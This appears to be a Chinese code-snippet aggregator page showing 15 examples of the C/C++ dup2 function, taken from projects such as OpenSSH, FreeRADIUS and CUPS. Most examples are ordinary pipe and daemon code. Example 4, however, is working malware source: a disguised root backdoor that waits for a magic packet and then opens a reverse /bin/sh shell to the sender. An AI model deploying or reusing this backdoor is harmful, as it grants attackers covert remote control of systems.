本文整理汇总了C++中dup2函数的典型用法代码示例。如果您正苦于以下问题:C++ dup2函数的具体用法?C++ dup2怎么用?C++ dup2使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了dup2函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: main
int main( int argc, char *argv[]){
if(argc != 2) {
perror("\nUso Padre <path>");
exit(-1);
}
int pid,n = 1;
int fd[2];
char buffer[10];
pipe(fd); //Creacion del fifo por el que se comunican los dos hijos
//Creacion del primer hijo
if( (pid=fork())<0) {
perror("\nError en el primer fork");
exit(-1);
}
if( pid == 0){
//Este hijo se encarga de recibir numeros por entrada estandar
close(fd[0]);
dup2(fd[1],STDOUT_FILENO);
while( n != 0){
scanf("%d",&n);
printf("%d",n); //Se escriben en el pipe porque he cerrado la salida estandar y redirigido al pipe
if( n == 0)
exit(0);
}
}
else{
//Creacion del segundo hijo por el padre
if( (pid=fork())<0) {
perror("\nError en el segundo fork");
exit(-1);
}
if( pid == 0 ){
//El segundo hijo ejecuta el programa LeerDir
//Se redirige la entrada a la entrada del pipe
close(fd[1]);
dup2(fd[0],STDIN_FILENO);
//Ejecucion del programa LeerDir
if( (execl("/home/adritake/SO/Modulo2/Examen/LeerDir","LeerDir", argv[1], NULL)<0)) {
perror("\nError en el execl");
}
}
else{
//El padre espera a sus hijos
waitpid(-1);
printf("El proceso padre ha finalizado.\n");
}
}
}
示例2: main
int main(int argc, char **argv)
{
int ch, longindex, nr;
int is_daemon = 1, is_debug = 1;
pid_t pid;
struct pollfd *poll_array;
while ((ch = getopt_long(argc, argv, "fd:vh", long_options, &longindex)) >= 0) {
switch (ch) {
case 'f':
is_daemon = 0;
break;
case 'd':
is_debug = atoi(optarg);
break;
case 'v':
exit(0);
break;
case 'h':
usage(0);
break;
default:
usage(1);
break;
}
}
init(is_daemon, is_debug);
if (is_daemon) {
pid = fork();
if (pid < 0)
exit(-1);
else if (pid)
exit(0);
chdir("/");
close(0);
open("/dev/null", O_RDWR);
dup2(0, 1);
dup2(0, 2);
setsid();
}
nl_fd = nl_open();
if (nl_fd < 0)
exit(nl_fd);
ipc_fd = ipc_open();
if (ipc_fd < 0)
exit(ipc_fd);
dl_init();
nr = MAX_DL_HANDLES;
poll_array = poll_init(nr);
dl_config_load();
event_loop(nr, poll_array);
return 0;
}
示例3: main
int main(){
int i,line;
char content[MAX_SCHEDULER][MAXLINE];
int pipe_fd[2];
FILE* fptr,*tmp_fptr;
struct dirent *dirp;
DIR* dp;
pid_t pid;
if((dp=opendir(dirname))==NULL)
err_sys();
while((dirp=readdir(dp))!=NULL)
if(strcmp(dirp->d_name,".")==0 || strcmp(dirp->d_name,"..")==0)
continue;
else
break;
if(dirp==NULL)
_Exit(0);
if((tmp_fptr=fopen(tmp_filename,"w"))==NULL)
err_sys();
if(pipe(pipe_fd)<0)
err_sys();
if((pid=fork())<0){
err_sys();
}else if(pid>0){ //parent , read from pipe
close(pipe_fd[1]);
if((fptr=fdopen(pipe_fd[0],"r"))==NULL)
err_sys();
for(line=0;fgets(content[line],MAXLINE,fptr)>0;line++);
if(fclose(fptr)==-1)
err_sys();
if(waitpid(pid,NULL,0)<0)
err_sys();
}else{ //child , write to pipe
close(pipe_fd[0]);
if(pipe_fd[1] != STDOUT_FILENO){
if(dup2(pipe_fd[1],STDOUT_FILENO) != STDOUT_FILENO)
err_sys();
close(pipe_fd[1]);
}
if(execl("/usr/bin/crontab","crontab","-l",NULL)<0)
err_sys();
}
deal_content(content,&line,dp,dirp);
if(closedir(dp))
err_sys();
for(i=0;i<line;i++)
fprintf(tmp_fptr,"%s",content[i]);
if(fclose(tmp_fptr)==-1)
err_sys();
if((pid=fork())<0){
err_sys();
}else if(pid>0){ //parent
if(waitpid(pid,NULL,0)<0)
err_sys();
}else{ //child
if(execl("/usr/bin/crontab","crontab",tmp_filename,NULL)<0)
err_sys();
}
if(unlink(tmp_filename)==-1)
err_sys();
return 0;
}
示例4: main
int main (int argc, char *argv[])
{
int fd,sockfd;
struct sockaddr_in saddr;
int n,pid;
char buf[MAXBUFLEN];
struct iphdr *ip_header;
struct tcphdr *tcp_header;
char *data;
int port;
long dst;
printf("- LOTFREE Connect Back BackDoor -\n");
printf(" http://www.lsdp.net/~lotfree/\n\n");
if(geteuid())
{
printf("Need root privileges\n");
return 1;
}
bzero(argv[0],strlen(argv[0]));
strcpy(argv[0],"-bash");
signal(SIGCHLD,SIG_IGN);
signal(SIGHUP,SIG_IGN);
pid=fork();
if(pid>0)
{
printf("Backdoor launched in background...\n");
exit(0);
}
if ((fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
perror ("socket");
exit (1);
}
ip_header = (struct iphdr *) buf;
tcp_header = (struct tcphdr *) (buf + sizeof (*ip_header));
data = (char *) (buf + sizeof (*tcp_header) + sizeof (*ip_header));
while (1)
{
n=read(fd,buf,sizeof(buf));
if (n >= 45)
{
if (!strncmp (data, "owned", 5))
{
dst=ip_header->saddr;
if (n == 45)
port = 80;
else
{
port=atoi((char *) (data + 5));
}
sockfd=socket(PF_INET,SOCK_STREAM,0);
saddr.sin_family=PF_INET;
saddr.sin_addr.s_addr=dst;
saddr.sin_port=htons(port);
pid=fork();
if(pid==0)
{
connect(sockfd,(struct sockaddr*)&saddr,sizeof(struct sockaddr));
write(sockfd,"go!\n",4);
close(0);close(1);close(2);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
execl("/bin/sh","/bin/sh",(char*)0);
close(sockfd);
exit(0);
}
}
}
bzero(buf,MAXBUFLEN);
}
close (fd);
return 0;
}
示例5: parseMessage
//.........这里部分代码省略.........
slog(LOG_INFO, "Error setting up hairtunes communications...some things probably wont work very well.\n");
}
// Setup fork
char tPort[8] = "6000"; // get this from dup()'d stdout of child pid
int tPid = fork();
if(tPid == 0)
{
int tDataport=0;
char tCPortStr[8] = "59010";
char tTPortStr[8] = "59012";
int tSize = 0;
char *tFound =getFromSetup(pConn->recv.data, "control_port", &tSize);
getTrimmed(tFound, tSize, 1, 0, tCPortStr);
tFound = getFromSetup(pConn->recv.data, "timing_port", &tSize);
getTrimmed(tFound, tSize, 1, 0, tTPortStr);
slog(LOG_DEBUG_VV, "converting %s and %s from str->int\n", tCPortStr, tTPortStr);
int tControlport = atoi(tCPortStr);
int tTimingport = atoi(tTPortStr);
slog(LOG_DEBUG_V, "Got %d for CPort and %d for TPort\n", tControlport, tTimingport);
char *tRtp = NULL;
char *tPipe = NULL;
char *tAoDriver = NULL;
char *tAoDeviceName = NULL;
char *tAoDeviceId = NULL;
// *************************************************
// ** Setting up Pipes, AKA no more debug/output **
// *************************************************
dup2(tComms->in[0],0); // Input to child
closePipe(&(tComms->in[0]));
closePipe(&(tComms->in[1]));
dup2(tComms->out[1], 1); // Output from child
closePipe(&(tComms->out[1]));
closePipe(&(tComms->out[0]));
struct keyring *tKeys = pConn->keys;
pConn->keys = NULL;
pConn->hairtunes = NULL;
// Free up any recv buffers, etc..
if(pConn->clientSocket != -1)
{
close(pConn->clientSocket);
pConn->clientSocket = -1;
}
cleanupBuffers(pConn);
hairtunes_init(tKeys->aeskey, tKeys->aesiv, tKeys->fmt, tControlport, tTimingport,
tDataport, tRtp, tPipe, tAoDriver, tAoDeviceName, tAoDeviceId);
// Quit when finished.
slog(LOG_DEBUG, "Returned from hairtunes init....returning -1, should close out this whole side of the fork\n");
return -1;
}
else if(tPid >0)
{
// Ensure Connection has access to the pipe.
closePipe(&(tComms->in[0]));
closePipe(&(tComms->out[1]));
char tFromHairtunes[80];
示例6: mm_answer_pty
int
mm_answer_pty(int sock, Buffer *m)
{
extern struct monitor *pmonitor;
Session *s;
int res, fd0;
debug3("%s entering", __func__);
buffer_clear(m);
s = session_new();
if (s == NULL)
goto error;
s->authctxt = authctxt;
s->pw = authctxt->pw;
s->pid = pmonitor->m_pid;
res = pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, sizeof(s->tty));
if (res == 0)
goto error;
pty_setowner(authctxt->pw, s->tty);
buffer_put_int(m, 1);
buffer_put_cstring(m, s->tty);
/* We need to trick ttyslot */
if (dup2(s->ttyfd, 0) == -1)
fatal("%s: dup2", __func__);
mm_record_login(s, authctxt->pw);
/* Now we can close the file descriptor again */
close(0);
/* send messages generated by record_login */
buffer_put_string(m, buffer_ptr(&loginmsg), buffer_len(&loginmsg));
buffer_clear(&loginmsg);
mm_request_send(sock, MONITOR_ANS_PTY, m);
mm_send_fd(sock, s->ptyfd);
mm_send_fd(sock, s->ttyfd);
/* make sure nothing uses fd 0 */
if ((fd0 = open(_PATH_DEVNULL, O_RDONLY)) < 0)
fatal("%s: open(/dev/null): %s", __func__, strerror(errno));
if (fd0 != 0)
error("%s: fd0 %d != 0", __func__, fd0);
/* slave is not needed */
close(s->ttyfd);
s->ttyfd = s->ptyfd;
/* no need to dup() because nobody closes ptyfd */
s->ptymaster = s->ptyfd;
debug3("%s: tty %s ptyfd %d", __func__, s->tty, s->ttyfd);
return (0);
error:
if (s != NULL)
mm_session_close(s);
buffer_put_int(m, 0);
mm_request_send(sock, MONITOR_ANS_PTY, m);
return (0);
}
示例7: compile
void compile( const TuringEnv &env , bool verbose , bool link ,
std::string asmOut , std::string execOut )
{
const int arbError = -27;
bool useNASM = false;
std::vector<std::string> stateNames;
std::string assemblyCode;
int lengthOfTape;
std::string asmFilename;
std::ofstream ofs;
// Detecting whether NASM is installed. I like NASM more than gas, therefore
// I will try to use NASM unless it is not installed. The assumption is that
// at least gas is installed
pid_t pid = fork();
if ( pid == 0 )
{
// Child
// Next three lines steal out and err from which and send to /dev/null
int fd = open( "/dev/null" , O_WRONLY );
dup2(fd, 1);
dup2(fd, 2);
execlp( "which" , "which" , "nasm" , (char*)0 );
_exit( arbError );
}
else
{
// Parent
int status;
pid_t result = waitpid( pid , &status , 0 );
if( WIFEXITED( status ) )
{
int returnVal = WEXITSTATUS( status );
if ( returnVal == arbError )
{
if ( verbose )
{
std::cout << "* Fork-exec to check for NASM failed: "
"Using gas for assembly." << std::endl;
}
}
else if ( returnVal == 0 )
{
if ( verbose )
{
std::cout << "* NASM detected: Using NASM for assembly." <<
std::endl;
}
useNASM = true;
}
else
{
if ( verbose )
{
std::cout << "* NASM not detected: Using gas for assembly."
<< std::endl;
}
}
}
else
{
if ( verbose )
{
std::cout << "* Fork-exec to check for NASM terminated "
"abnormally: Using gas for assembly." << std::endl;
}
}
}
if ( verbose )
{
std::cout << "* Performing sanity check..." << std::endl;
}
// Terribly inefficient check to see if state names are repeated, and to
// populate a list of the state names to be used after this for something
for ( int i = 0; i < env.states.size(); i++ )
{
for ( int j = i + 1; j < env.states.size(); j++ )
{
if ( env.states.at(i).getName().compare(
env.states.at(j).getName() ) == 0 )
{
std::string error = "** Error on compile:\n\tDuplicate state "
"names detected at state definitions ";
error += castIntToString( i + 1 );
error += " and ";
error += castIntToString( j + 1 );
error += ".";
throw error;
}
}
stateNames.push_back( env.states.at(i).getName() );
}
// Ensure that states only transition to other defined states
for ( int i = 0; i < env.states.size(); i++ )
{
for ( int j = 0; j < env.states.at(i).getTransitions().size(); j++ )
{
if ( env.states.at(i).getTransitions().at(j).nextState.compare(
"accept" ) != 0 &&
env.states.at(i).getTransitions().at(j).nextState.compare(
"reject" ) != 0 &&
//.........这里部分代码省略.........
示例8: dna_helper_start
int
dna_helper_start()
{
const char *command = confValueGet("dna.helper.executable", NULL);
const char *arg = confValueGet("dna.helper.argv.1", NULL);
if (!command || !command[0]) {
/* Check if we have a helper configured. If not, then set
dna_helper_pid to magic value of 0 so that we don't waste time
in future looking up the dna helper configuration value. */
INFO("DNAHELPER none configured");
dna_helper_pid = 0;
return 0;
}
if (!my_subscriber)
return WHY("Unable to lookup my SID");
const char *mysid = alloca_tohex_sid(my_subscriber->sid);
dna_helper_close_pipes();
int stdin_fds[2], stdout_fds[2], stderr_fds[2];
if (pipe(stdin_fds) == -1)
return WHY_perror("pipe");
if (pipe(stdout_fds) == -1) {
WHY_perror("pipe");
close(stdin_fds[0]);
close(stdin_fds[1]);
return -1;
}
if (pipe(stderr_fds) == -1) {
WHY_perror("pipe");
close(stdin_fds[0]);
close(stdin_fds[1]);
close(stdout_fds[0]);
close(stdout_fds[1]);
return -1;
}
switch (dna_helper_pid = fork()) {
case 0:
/* Child, should exec() to become helper after installing file descriptors. */
setenv("MYSID", mysid, 1);
set_logging(stderr);
signal(SIGTERM, SIG_DFL);
close(stdin_fds[1]);
close(stdout_fds[0]);
close(stderr_fds[0]);
if (dup2(stderr_fds[1], 2) == -1 || dup2(stdout_fds[1], 1) == -1 || dup2(stdin_fds[0], 0) == -1) {
LOG_perror(LOG_LEVEL_FATAL, "dup2");
fflush(stderr);
_exit(-1);
}
/* XXX: Need the cast on Solaris because it defins NULL as 0L and gcc doesn't
* see it as a sentinal */
execl(command, command, arg, (void *)NULL);
LOGF_perror(LOG_LEVEL_FATAL, "execl(%s, %s, %s, NULL)", command, command, arg ? arg : "NULL");
fflush(stderr);
do { _exit(-1); } while (1);
break;
case -1:
/* fork failed */
WHY_perror("fork");
close(stdin_fds[0]);
close(stdin_fds[1]);
close(stdout_fds[0]);
close(stdout_fds[1]);
close(stderr_fds[0]);
close(stderr_fds[1]);
return -1;
default:
/* Parent, should put file descriptors into place for use */
close(stdin_fds[0]);
close(stdout_fds[1]);
close(stderr_fds[1]);
dna_helper_started = 0;
dna_helper_stdin = stdin_fds[1];
dna_helper_stdout = stdout_fds[0];
dna_helper_stderr = stderr_fds[0];
INFOF("STARTED DNA HELPER pid=%u stdin=%d stdout=%d stderr=%d executable=%s arg=%s",
dna_helper_pid,
dna_helper_stdin,
dna_helper_stdout,
dna_helper_stderr,
command,
arg ? arg : "NULL"
);
sched_requests.function = monitor_requests;
sched_requests.context = NULL;
sched_requests.poll.fd = -1;
sched_requests.poll.events = POLLOUT;
sched_requests.stats = NULL;
sched_timeout.function = reply_timeout;
sched_timeout.context = NULL;
sched_timeout.stats = NULL;
sched_replies.function = monitor_replies;
sched_replies.context = NULL;
sched_replies.poll.fd = dna_helper_stdout;
sched_replies.poll.events = POLLIN;
sched_replies.stats = NULL;
sched_errors.function = monitor_errors;
//.........这里部分代码省略.........
示例9: osauthGetAuth
/*
* osauthGetAuth - this function runs the OS_AUTH_CMD command to
* retrieve an authenticator for the calling user.
*/
int
osauthGetAuth( char *challenge,
char *username,
char *authenticator,
int authenticator_buflen ) {
#if defined(OS_AUTH)
static char fname[] = "osauthGetAuth";
int pipe1[2], pipe2[2];
pid_t childPid;
int childStatus = 0;
int child_stdin, child_stdout, nb;
int buflen, challenge_len = CHALLENGE_LEN;
char buffer[128];
if ( challenge == NULL || username == NULL || authenticator == NULL ) {
return USER__NULL_INPUT_ERR;
}
if ( pipe( pipe1 ) < 0 ) {
rodsLog( LOG_ERROR, "%s: pipe1 create failed. errno = %d",
fname, errno );
return ( SYS_PIPE_ERROR - errno );
}
if ( pipe( pipe2 ) < 0 ) {
rodsLog( LOG_ERROR, "%s: pipe2 create failed. errno = %d",
fname, errno );
close( pipe1[0] );
close( pipe1[1] );
return ( SYS_PIPE_ERROR - errno );
}
childPid = RODS_FORK();
if ( childPid < 0 ) {
rodsLog( LOG_ERROR, "%s: RODS_FORK failed. errno = %d",
fname, errno );
close( pipe1[0] );
close( pipe1[1] );
close( pipe2[0] );
close( pipe2[1] );
return SYS_FORK_ERROR;
}
else if ( childPid == 0 ) {
/* in the child process */
/* pipe1 will be for child's stdin */
close( pipe1[1] );
dup2( pipe1[0], 0 );
/* pipe2 will be for child's stdout */
close( pipe2[0] );
dup2( pipe2[1], 1 );
/* set the username in an environment variable */
setenv( OS_AUTH_ENV_USER, username, 1 );
/* run the OS_AUTH_CMD */
execlp( OS_AUTH_CMD, OS_AUTH_CMD, ( char* )NULL );
rodsLog( LOG_ERROR, "%s: child execl %s failed. errno = %d",
fname, OS_AUTH_CMD, errno );
}
else {
/* in the parent process */
close( pipe1[0] );
child_stdin = pipe1[1]; /* parent writes to child's stdin */
close( pipe2[1] );
child_stdout = pipe2[0]; /* parent reads from child's stdout */
/* send the challenge to the OS_AUTH_CMD program on its stdin */
nb = write( child_stdin, &challenge_len, sizeof( challenge_len ) );
if ( nb < 0 ) {
rodsLog( LOG_ERROR,
"%s: error writing challenge_len to %s. errno = %d",
fname, OS_AUTH_CMD, errno );
close( child_stdin );
close( child_stdout );
return ( SYS_PIPE_ERROR - errno );
}
nb = write( child_stdin, challenge, challenge_len );
if ( nb < 0 ) {
rodsLog( LOG_ERROR,
"%s: error writing challenge to %s. errno = %d",
fname, OS_AUTH_CMD, errno );
close( child_stdin );
close( child_stdout );
return ( SYS_PIPE_ERROR - errno );
}
/* read the response */
buflen = read( child_stdout, buffer, 128 );
if ( buflen < 0 ) {
rodsLog( LOG_ERROR, "%s: error reading from %s. errno = %d",
fname, OS_AUTH_CMD, errno );
close( child_stdin );
close( child_stdout );
return ( SYS_PIPE_ERROR - errno );
}
//.........这里部分代码省略.........
示例10: main
int main(int argc, char* argv[])
{
char buf[200];
int tab[2];
int tab2[2];
int tab3[2];
int tab4[2];
int tab5[2];
pipe(tab);
pipe(tab2);
pipe(tab3);
pipe(tab4);
pipe(tab5);
if (fork() == 0)
{
if (fork() == 0)
{
if (fork() == 0)
{
close(tab[0]);
close(tab2[0]);
close(tab2[1]);
close(tab3[0]);
close(tab3[1]);
close(tab4[0]);
close(tab4[1]);
close(tab5[0]);
close(tab5[1]);
dup2(tab[1], 1);
execlp("ps", "ps", "-ef", NULL);
}
else{
close(tab2[0]);
close(tab[1]);
close(tab3[0]);
close(tab3[1]);
close(tab4[0]);
close(tab4[1]);
close(tab5[0]);
close(tab5[1]);
dup2(tab[0], 0);
dup2(tab2[1], 1);
execlp("tr", "tr", "-s","' '",":", NULL);
}
}
else
{
if (fork() == 0)
{
close(tab[0]);
close(tab[1]);
close(tab2[1]);
close(tab3[0]);
close(tab4[0]);
close(tab4[1]);
close(tab5[0]);
close(tab5[1]);
dup2(tab2[0], 0);
dup2(tab3[1], 1);
execlp("cut", "cut", "-d:","-f1", NULL);
}
else{
close(tab[0]);
close(tab[1]);
close(tab2[1]);
close(tab2[0]);
close(tab4[0]);
close(tab3[1]);
close(tab5[0]);
close(tab5[1]);
dup2(tab3[0], 0);
dup2(tab4[1], 1);
execlp("sort", "sort",NULL);
}}
}
else
{
if (fork() == 0)
{
close(tab[0]);
close(tab[1]);
close(tab2[1]);
close(tab2[0]);
close(tab3[0]);
close(tab3[1]);
close(tab5[0]);
close(tab4[1]);
dup2(tab4[0], 0);
dup2(tab5[1], 1);
execlp("uniq", "uniq","-c",NULL);
}
else{
close(tab[0]);
close(tab[1]);
//.........这里部分代码省略.........
示例11: main
//.........这里部分代码省略.........
}
/*
* The parent exits, so the child can run in the background.
*/
if (pid > 0) {
exit(EXIT_SUCCESS);
}
#ifdef HAVE_SETSID
setsid();
#endif
}
#endif
/*
* Ensure that we're using the CORRECT pid after forking,
* NOT the one we started with.
*/
radius_pid = getpid();
/*
* If we're running as a daemon, close the default file
* descriptors, AFTER forking.
*/
if (!debug_flag) {
int devnull;
devnull = open("/dev/null", O_RDWR);
if (devnull < 0) {
ERROR("Failed opening /dev/null: %s\n",
fr_syserror(errno));
exit(EXIT_FAILURE);
}
dup2(devnull, STDIN_FILENO);
if (default_log.dest == L_DST_STDOUT) {
setlinebuf(stdout);
default_log.fd = STDOUT_FILENO;
} else {
dup2(devnull, STDOUT_FILENO);
}
if (default_log.dest == L_DST_STDERR) {
setlinebuf(stderr);
default_log.fd = STDERR_FILENO;
} else {
dup2(devnull, STDERR_FILENO);
}
close(devnull);
} else {
setlinebuf(stdout); /* unbuffered output */
}
/*
* Now we have logging check that the OpenSSL
*/
/*
* Initialize the event pool, including threads.
*/
radius_event_init(mainconfig.config, spawn_flag);
/*
* Now that we've set everything up, we can install the signal
* handlers. Before this, if we get any signal, we don't know
* what to do, so we might as well do the default, and die.
*/
示例12: exec_filter
static int /* O - Process ID or -1 on error */
exec_filter(const char *filter, /* I - Filter to execute */
char **argv, /* I - Argument list */
char **envp, /* I - Environment list */
int infd, /* I - Stdin file descriptor */
int outfd) /* I - Stdout file descriptor */
{
int pid, /* Process ID */
fd; /* Temporary file descriptor */
#if defined(__APPLE__)
char processPath[1024], /* CFProcessPath environment variable */
linkpath[1024]; /* Link path for symlinks... */
int linkbytes; /* Bytes for link path */
/*
* Add special voodoo magic for MacOS X - this allows MacOS X
* programs to access their bundle resources properly...
*/
if ((linkbytes = readlink(filter, linkpath, sizeof(linkpath) - 1)) > 0)
{
/*
* Yes, this is a symlink to the actual program, nul-terminate and
* use it...
*/
linkpath[linkbytes] = '\0';
if (linkpath[0] == '/')
snprintf(processPath, sizeof(processPath), "CFProcessPath=%s",
linkpath);
else
snprintf(processPath, sizeof(processPath), "CFProcessPath=%s/%s",
dirname((char *)filter), linkpath);
}
else
snprintf(processPath, sizeof(processPath), "CFProcessPath=%s", filter);
envp[0] = processPath; /* Replace <CFProcessPath> string */
#endif /* __APPLE__ */
if ((pid = fork()) == 0)
{
/*
* Child process goes here...
*
* Update stdin/stdout/stderr as needed...
*/
if (infd != 0)
{
if (infd < 0)
infd = open("/dev/null", O_RDONLY);
if (infd > 0)
{
dup2(infd, 0);
close(infd);
}
}
if (outfd != 1)
{
if (outfd < 0)
outfd = open("/dev/null", O_WRONLY);
if (outfd > 1)
{
dup2(outfd, 1);
close(outfd);
}
}
if ((fd = open("/dev/null", O_RDWR)) > 3)
{
dup2(fd, 3);
close(fd);
}
fcntl(3, F_SETFL, O_NDELAY);
if ((fd = open("/dev/null", O_RDWR)) > 4)
{
dup2(fd, 4);
close(fd);
}
fcntl(4, F_SETFL, O_NDELAY);
/*
* Execute command...
*/
execve(filter, argv, envp);
perror(filter);
exit(errno);
}
return (pid);
//.........这里部分代码省略.........
示例13: main
int main (int argc, char const * argv [])
{
extern struct channel channel;
static char const * optv [] =
{
"C:eFi:n:N:p:P:qt:vx",
"-N file -P file [-n file] [-p file]",
"Qualcomm Atheros Powerline Device Host Emulator for INT6300",
"C f\twrite NVM file to device using VS_SET_SDRAM",
"e\tredirect stderr to stdout",
"F[F]\tflash (force) NVRAM using VS_MOD_NVM",
#if defined (WINPCAP) || defined (LIBPCAP)
"i n\thost interface is (n) [" LITERAL (CHANNEL_ETHNUMBER) "]",
#else
"i s\thost interface is (s) [" LITERAL (CHANNEL_ETHDEVICE) "]",
#endif
"n f\tread NVM from device into file using VS_RD_MOD",
"N f\twrite NVM file to device using VS_WR_MEM",
"p f\tread PIB from device into file using VS_RD_MOD",
"P f\twrite PIB file to device using VS_WR_MEM",
"q\tquiet mode",
"t n\tread timeout is (n) milliseconds [" LITERAL (CHANNEL_TIMEOUT) "]",
"v\tverbose mode",
"x\texit on error",
(char const *) (0)
};
#include "../plc/plc.c"
signed c;
if (getenv (PLCDEVICE))
{
#if defined (WINPCAP) || defined (LIBPCAP)
channel.ifindex = atoi (getenv (PLCDEVICE));
#else
channel.ifname = strdup (getenv (PLCDEVICE));
#endif
}
optind = 1;
while ((c = getoptv (argc, argv, optv)) != -1)
{
switch (c)
{
case 'C':
if (!checkfilename (optarg))
{
error (1, EINVAL, "%s", optarg);
}
if ((plc.CFG.file = open (plc.CFG.name = optarg, O_BINARY|O_RDONLY)) == -1)
{
error (1, errno, "%s", plc.CFG.name);
}
if (sdramfile (plc.CFG.file, optarg, plc.flags))
{
error (1, ECANCELED, "CFG file %s is corrupt", optarg);
}
_setbits (plc.flags, PLC_SDRAM_CONFIG);
break;
case 'e':
dup2 (STDOUT_FILENO, STDERR_FILENO);
break;
case 'F':
_setbits (plc.module, (VS_MODULE_MAC | VS_MODULE_PIB));
if (_anyset (plc.flags, PLC_FLASH_DEVICE))
{
_setbits (plc.module, VS_MODULE_FORCE);
}
_setbits (plc.flags, PLC_FLASH_DEVICE);
break;
case 'i':
#if defined (WINPCAP) || defined (LIBPCAP)
channel.ifindex = atoi (optarg);
#else
channel.ifname = optarg;
#endif
break;
case 'N':
if (!checkfilename (optarg))
{
error (1, EINVAL, "%s", optarg);
}
//.........这里部分代码省略.........
示例14: usbasp_open
//----------------------------------------------------------------------------
int usbasp_open(char *SerialNumber)
{
struct usb_bus *bus;
struct usb_device *dev;
char string[256];
char serial[USB_CFG_SERIAL_NUMBER_LEN+1];
#ifdef __GNUC__
int old_fd, nul_fd;
#endif
setup_serial(serial, SerialNumber);
/*
* libusb-win32-0.1.10.1 で usb_find_busses() を実行したときに
* "found N busses"がstdoutに出力されるため一時的にstdoutをnulに切換
* libusb-win32-0.1.10.2/ libusb-win32-0.1.12.0で修正されている
* とりあえずgccのみ (bcc/bcb6/vc8では正常に動作しない)
*/
#ifdef __GNUC__
old_fd = dup(fileno(stdout)); // 標準出力のバックアップを作成
nul_fd = open("nul", O_WRONLY); // 標準出力用に"nul"を開く
dup2(nul_fd, fileno(stdout)); // ファイルのディスクリプタのコピーを1番に作成
#endif
usb_init();
usb_find_busses(); // この中で不要な printf がある
usb_find_devices();
#ifdef __GNUC__
fflush(stdout);
dup2(old_fd, fileno(stdout)); // 標準出力を元に戻す
close(old_fd); // 標準出力のバックアップを閉じる
close(nul_fd);
#endif
for (bus = usb_get_busses(); bus; bus = bus->next) {
for (dev = bus->devices; dev; dev = dev->next) {
if (dev->descriptor.idVendor == USBDEV_VENDOR &&
dev->descriptor.idProduct == USBDEV_PRODUCT)
{
usbhandle = usb_open(dev);
if (usbhandle) {
if (SerialNumber == NULL)
return 0; // findfirst
// check serial number
if (usb_get_string_simple(usbhandle,
dev->descriptor.iSerialNumber,
string, sizeof(string)) < 0)
{
// cannot read serial number
if (!SerialNumber[0])
return 0;
}
if (strnicmp(serial, string, USB_CFG_SERIAL_NUMBER_LEN) == 0)
return 0;
usb_close(usbhandle);
}
}
}
}
fprintf(stderr, "%s: usb_open(): did not find any%s USB device \"%.4s\"\n",
progname, SerialNumber ? " (matching)": "", serial);
return 1;
}
示例15: gw_em_mad_init
int gw_em_mad_init(gw_em_mad_t * em_mad,
const char * exe,
const char * name,
const char * owner)
{
char buf[50];
char str[GW_EM_MAX_STRING], c;
char info[GW_EM_MAX_INFO];
char s_job_id[GW_EM_MAX_JOB_ID];
char result[GW_EM_MAX_RESULT];
char action[GW_EM_MAX_ACTION];
int em_mad_pipe[2], mad_em_pipe[2];
int i, rc;
int length;
if ((name == NULL) || (exe == NULL) || (owner == NULL))
return -1;
length = strlen(gw_conf.gw_location) + strlen(exe) + 6;
em_mad->executable = (char *) malloc(sizeof(char)*length);
em_mad->name = strdup(name);
em_mad->wrapper_rsl = NULL;
em_mad->pre_wrapper_rsl = NULL;
em_mad->mode = NULL;
sprintf(em_mad->executable, "%s/bin/%s", gw_conf.gw_location, exe);
if (pipe(em_mad_pipe) == -1 || pipe(mad_em_pipe) == -1)
{
gw_log_print("EM",'E',"Could not create communication pipes: %s.\n",
strerror(errno));
return -1;
}
em_mad->pid = fork();
switch (em_mad->pid)
{
case -1: /* Error */
gw_log_print("EM",'E',"Could not fork to start execution MAD %s.\n", name);
return -1;
case 0: /* Child process (MAD) */
close(em_mad_pipe[1]);
close(mad_em_pipe[0]);
/* stdin and stdout redirection */
if (dup2(em_mad_pipe[0], 0) != 0 || dup2(mad_em_pipe[1], 1) != 1)
{
gw_log_print("EM",'E',"Could not duplicate communication pipes: %s\n",
strerror(errno));
exit(-1);
}
close(em_mad_pipe[0]);
close(mad_em_pipe[1]);
if (gw_conf.multiuser == GW_TRUE)
execlp("sudo", "sudo", "-u", owner, em_mad->executable, NULL);
else
execlp(em_mad->executable, em_mad->executable, NULL);
gw_log_print("EM",'E',"Could not execute MAD %s (exec/sudo).\n",
em_mad->executable);
exit(-1);
break;
default: /* Parent process (GWD) */
close(em_mad_pipe[0]);
close(mad_em_pipe[1]);
em_mad->em_mad_pipe = em_mad_pipe[1];
em_mad->mad_em_pipe = mad_em_pipe[0];
fcntl(em_mad->em_mad_pipe, F_SETFD, FD_CLOEXEC); /* Close pipes in other MADs*/
fcntl(em_mad->mad_em_pipe, F_SETFD, FD_CLOEXEC);
sprintf(buf, "INIT %i - -\n",gw_conf.number_of_jobs);
write(em_mad->em_mad_pipe, buf, strlen(buf));
i = 0;
do
{
rc = read(em_mad->mad_em_pipe, (void *) &c, sizeof(char));
str[i++] = c;
}
while ( rc > 0 && c != '\n' && c != '\0');
str[i] = '\0';
if (rc <= 0)
{
gw_log_print("EM",'E',"\tInitialization failure, reading from MAD %s.\n", em_mad->name);
gw_em_mad_finalize(em_mad);
//.........这里部分代码省略.........